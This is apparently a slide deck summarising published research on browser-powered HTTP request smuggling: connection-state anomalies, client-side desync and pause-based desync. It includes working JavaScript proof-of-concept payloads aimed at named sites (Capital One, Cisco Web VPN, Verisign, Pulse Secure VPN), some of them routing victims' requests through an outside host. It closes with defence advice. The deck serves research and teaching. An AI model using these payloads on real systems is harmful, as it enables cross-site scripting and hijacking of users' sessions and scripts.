### Browser-Powered Desync Attacks #### A New Frontier in HTTP Request Smuggling <!-- slide: https://hackmd.io/@JyunD/browser-powered-desync-attacks --> --- ### Outline #### HTTP handling anomalies #### Client-side desync #### Pause-based desync #### Defence & Takeaways --- ### HTTP handling anomalies ---- ### Connection state attacks #### First-request validation ![](https://hackmd.io/_uploads/SJOwTO2t3.png) ---- ### Connection state attacks #### First-request routing ![](https://hackmd.io/_uploads/ByP_pu2Fh.png) --- ### The surprise factor ![](https://hackmd.io/_uploads/HyRjpu3K3.png) ---- ### Detecting connection-locked CL.TE ![](https://hackmd.io/_uploads/rkITpO3th.png) ---- ### Detecting connection-locked CL.TE * Is the front-end using the Content-Length? ![](https://hackmd.io/_uploads/B1QDRuhFn.png) ---- ### Detecting connection-locked CL.TE * Is the front-end using the Content-Length? No ![](https://hackmd.io/_uploads/rkBuAd3K3.png) ---- ### Detecting connection-locked CL.TE * Is the front-end using the Content-Length? Yes ![](https://hackmd.io/_uploads/H10dAd2Y3.png) --- ### CL.0 browser-compatible desync ![](https://hackmd.io/_uploads/H1sY0d3Fn.png) ---- ### CL.0 browser-compatible desync ![](https://hackmd.io/_uploads/HJgsCOhK3.png) ---- ### H2.0 on amazon.com ![](https://hackmd.io/_uploads/HkEhRd3t3.png) ---- ### H2.0 on amazon.com ![](https://hackmd.io/_uploads/BkQpCOnF3.png) --- ### Client-side desync ![](https://hackmd.io/_uploads/SyOz1t2F2.png) ---- ### Client-side desync ![](https://hackmd.io/_uploads/BkX41t2t2.png) ---- ### Client-side desync ![](https://hackmd.io/_uploads/BkL91t3Fn.png) ---- ### Client-side desync ![](https://hackmd.io/_uploads/Skqo1K2tn.png) ---- ### Client-side desync ![](https://hackmd.io/_uploads/H1CggF2t3.png) --- ### Client-side desync-case study --- ### Akamai ---- ### Akamai - Detect ![](https://hackmd.io/_uploads/B1jP3KnK2.png) ---- ### Akamai - Explore(Stacked HEAD) ![](https://hackmd.io/_uploads/HJpi2YhF3.png) ---- ### Akamai - Attack ```javascript fetch('https://www.capitalone.ca/assets', { method: 'POST', // use a cache-buster to delay the response body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\n Host: www.capitalone.ca\r\n \r\n GET /x?x=<script>alert(1)</script> HTTP/1.1\r\n X: Y`, credentials: 'include', mode: 'cors' // throw an error instead of following redirect }).catch(() => { location = 'https://www.capitalone.ca/' }) ``` --- ### Cisco Web VPN ---- ### Cisco Web VPN `https://psres.net/launchAttack.html:` ![](https://hackmd.io/_uploads/BJFJRtnYh.png) ---- ### Cisco Web VPN ```javascript fetch('https://redacted/', { method: 'POST', body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y", credentials: 'include' }).catch(() => { location = 'https://redacted/+CSCOE+/win.js' }) ``` ---- ### Cisco Web VPN ![](https://hackmd.io/_uploads/rJnvCKnt2.png) --- ### Verisign ---- ### Verisign ![](https://hackmd.io/_uploads/S1tcAY3Kn.png) ---- ### Verisign ```javascript fetch('https://www.verisign.com/%2f', { method: 'POST', body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`, credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded' }}).catch(() => { let form = document.createElement('form') form.method = 'POST' form.action = 'https://www.verisign.com/robots.txt' form.enctype = 'text/plain' let input = document.createElement('input') input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n' input.value = '' form.appendChild(input) document.body.appendChild(form) form.submit() }) ``` --- ### Pulse Secure VPN ---- <!-- ### Pulse Secure VPN * Regular CSD attacks: 1. Create a poisoned connection 2. Trigger navigation * Hijacking JS with a non-cacheable redirect: 1. Navigate to target page 2. Guess when the page has loaded 3. Create some poisoned connections 4. Hope a JS import uses a poisoned connection * Making it plausible: * Pre-connect to normalise target page load time * Combine with separate window/tab for multiple attempts * Identify page with non-cacheable JS import ---- --> ### Pulse Secure VPN ```html <script> function reset() { fetch('https://vpn.redacted/robots.txt', {mode: 'no-cors', credentials: 'include'}) .then(() => { x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now() }) setTimeout(poison, 120) // worked on 140. went down to 110 } function poison(){ sendPoison() sendPoison() sendPoison() setTimeout(reset, 1000) } function sendPoison(){ fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css', {method: 'POST', body: 'GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n', mode: 'no-cors', credentials: 'include'}) } </script> <a onclick="x = window.open('about:blank'); reset()">Start attack</a> ``` --- ### Pause-based desync ---- ### Pause-based desync - Varnish & Apache ![](https://hackmd.io/_uploads/SkXoeYhth.png) ---- ### Pause-based desync - ALB ![](https://hackmd.io/_uploads/ry7qZq2K2.png) ---- ### Pause-based desync - ALB ![](https://hackmd.io/_uploads/ry-j-9nY2.png) ---- ### Pause-based desync - Matching timeouts ![](https://hackmd.io/_uploads/BkF6Zc2t2.png) ---- ### Pause-based desync - MITM * The theory: * Aaacker website sends request, padded to cause TCP fragmentabon * MITM idenbfies the TCP packet containing the request body via the size * MITM delays this packet, causing a server bmeout & pause-based desync * The delayed packet is then interpreted as a new messag ---- ### Pause-based desync - MITM ![](https://hackmd.io/_uploads/B1Fy792Y3.png) ---- ### Pause-based desync ```javascript let form = document.createElement('form') form.method = 'POST' form.enctype = 'text/plain' form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now() let input = document.createElement('input') input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x" input.value = "x" form.append(input) document.body.appendChild(form) form.submit() ``` --- ### Defence * Use HTTP/2 end to end * Don’t downgrade/rewrite HTTP/2 requests to HTTP/1 * Don't roll your own HTTP server, but if you do: * Never assume a request has no body * Default to discarding the connection * Don't attach state to a connection * Either support chunked encoding, or reset the connection. * Support HTTP/2 --- ### Takeaways * The request is a lie * HTTP/1.1 connec5on-reuse is harmful * All you need is a server taken by surprise --- ## End --- ### Reference [Source](https://portswigger.net/research/browser-powered-desync-attacks#anomalies) [Slide](https://portswigger.net/kb/papers/firuaml/browser-powered-desync-attacks-slides.pdf)
{"title":"Browser-Powered Desync Attacks","description":"slide: https://hackmd.io/p/template-Talk-slide","contributors":"[{\"id\":\"e70450c1-042e-4d28-8341-910fe1a65735\",\"add\":11278,\"del\":3697}]"}
    422 views